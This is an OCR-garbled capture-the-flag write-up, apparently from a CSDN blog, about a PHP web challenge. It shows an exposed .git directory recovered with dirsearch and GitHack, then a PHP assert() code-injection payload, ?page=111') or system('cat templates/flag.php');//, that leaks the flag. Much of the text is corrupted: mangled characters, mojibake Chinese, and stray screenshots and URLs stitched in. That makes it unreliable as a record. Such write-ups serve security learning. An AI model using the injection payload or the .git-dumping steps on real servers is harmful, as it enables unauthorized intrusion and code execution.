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FERFHE, $onflagfE: ?page=flag H

GET /HTTR/1.1

& <nav class="navbar navbar-inverse navbar-fixed-top">
Host: 220.249.52.134:40266 1 <div class="container">
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; n.78.0) Gecko/20100101 Firefox/78.0 <div class="navhar-header">
Accept: text/html application/xhtml+xml applicationfxml;g=0.9 imagefwebp */*q=0.8 <hutton type="button" class="navbartoggle collapsed” data-toggle="collapse"
Accept-Language: zh-CM zh; =08 zh-TW,q=0.7 zh-HI; =0 5 2n-US;q=03 en;q=02 data-target="#navbar" aria-expandad="false" aria-controls="navbar">
Accept-Encoding: gzip, deflate <span class="sr-only">Toggle navigation</span>
Referer: hitp:/f220.249.52.134:40286/?page=about <span class="icon-bar"></span>
Connection: close <span class="icon-har"></span>
Upgrade-Insecure-Requests; 1 <span class="icon-har"></span>
Cache-Control: max-age=0 <fhutton>

<a class="navbar-brand" href="#">Project name</a>
<fdiv>
<div id="navbar" class="collapse navbar-collapse">
<ul class="nav navbar-nav"=>
<li class="active"><a href="?page=home">Home=</a></li>
<li »<a href="?page=about">About</a=</li>
<li ><a haialp LeCopdacte ane ]
[<w‘--<.-‘.w ><a href="?page=flag">My secrets</a></li> -->]

<ful>
<fdiv>
<[div>
</nav>

XEEHARHEE, EXNRERRAEM T git, BRIRIVEARDMEE, ViH: 220.249.52.134:40286/.git/

Index of /.git X

« > C @ OW>00.249.52.134:40286/.gi
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Index of /.git

Name Last modified Size Description

ﬁ Parent Directory -
@ COMMIT EDITMSG 2018-10-04 12:57 25
?] HEAD 2018-10-04 12:57 23



https://blog.csdn.net/qq_43168364
https://blog.csdn.net/qq_43168364/category_10663476.html
https://so.csdn.net/so/search/s.do?q=ctf&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=%25E7%25BD%2591%25E7%25BB%259C%25E5%25AE%2589%25E5%2585%25A8&t=blog&o=vip&s=&l=&f=&viparticle=
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_43168364/article/details/111223200
https://blog.csdn.net/qq_43168364/category_10663476.html

() branches/ 2018-10-04 12:57 -

3] config 2018-10-04 12:57 92
2] description 2018-10-04 12:57 73
(3 hooks/ 2018-10-04 12:57 -
7] index 2018-10-04 12:57 523
03 info/ 2018-10-04 12:57 -
3 logs/ 2018-10-04 12:57 -
() objects/ 2018-10-04 12:57 -
Ty refs/ 2018-10-04 12:57 -

Apache/2.4.18 (Ubuntu) Server at 220.249.52.134 Port 40286

W8] P Fdirsearch, 454 : python3 dirsearch.py -u http://220.249.52.134:40286/ -e php

# python3 dirsearch.py -u http://220.249.52.134:40286/ -e php

Extensions: HTTP method: Threads: Wordlist size:
Error Log: /mytools/dirsearch/logs/errors-20-12-15_16-12-16.1log
Target:

Output File: /mytools/dirsearch/reports/220.249.52.134/ 20-12-15_16-12-16.txt

ion
(Added to queue)
(Added to queue)

AR B R EE R AR, [ citHack.py MRS HTEK&M XM, $4T: python2 GitHack.py
http://220.249.52.134:42185/.git/

: # python2 GitHack.py http://220.249.52.134:40286/.git/
[+] Download and parse index file
index.php
templates/about.php
templates/contact.php
templates/flag.php

templates/home.php

[OK] index.php

[OK] templates/about.php
[OK] templates/contact.php
[OK] templates/flag.php
[OK] templates/home.php

18 F RS ATH T, flag.php FAFEag. FBE D Eindex.phpH



<?php

if (isset($ GET[
$page = $ GET[
} else {

) or die(

$file ) or die(

<?php
rt ("phpinfo () ")

PHP Version 5.4.45 php

System Windows NT SPURS 5.2 build 3790 (Windows Server 2003 Enterprise Edition Service
Pack 2) i586
Build Date Sep 2 2015 23:45:53
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&« C © £ 192.168.15.146/phplearn/test.php 2 130% e #F InND®e®n o a6 e ¢ =
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Windows IP Configuration Ethernet adapter ZAiZ%{Z: Connection-specific DNS Suffix . : localdomain IP Address. ........... Subnet

Mask........... Default Gateway .........



#i&payload: ?page=111') or system('cat template/flag.php');// , Flindex.php HEi2E Rk

T: assert("strpos('templates/111') or system('cat templates/flag.php');//.php', '..') === false") or
die("Detected hacking attempt!");
Bi A48 Flflag

My PHP Website b4l phpinfo() X |+

& C O Z 220.249.52.134:4028F/?pagez1'I'I ") or system('cat templates/flag.php’).// ]
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Project name
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<1--2?php $FLAG="cyberpeace{b7b58f59fdh87471951988bbf44816b8}"; 2--
<!--?php $FLAG="cyberpeace{b7b58f59fdb87471951988bbf44816b3}"; 2--
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